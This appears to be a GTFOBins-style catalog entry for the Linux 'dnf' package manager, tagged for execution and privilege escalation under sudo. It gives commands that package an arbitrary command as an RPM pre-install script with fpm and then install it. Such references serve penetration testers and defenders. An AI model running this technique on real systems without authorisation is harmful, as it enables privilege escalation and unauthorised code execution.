CatalogGTFOBins

GTFO · Tool

dnf

1 techniqueLinuxGTFOBinsGPL-3.0

command

ExecutionPrivilege EscalationLinux

Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ``` The `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise.

dnf install -y x-1.0-1.noarch.rpm --disablerepo=*
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
command
MITRE
T1059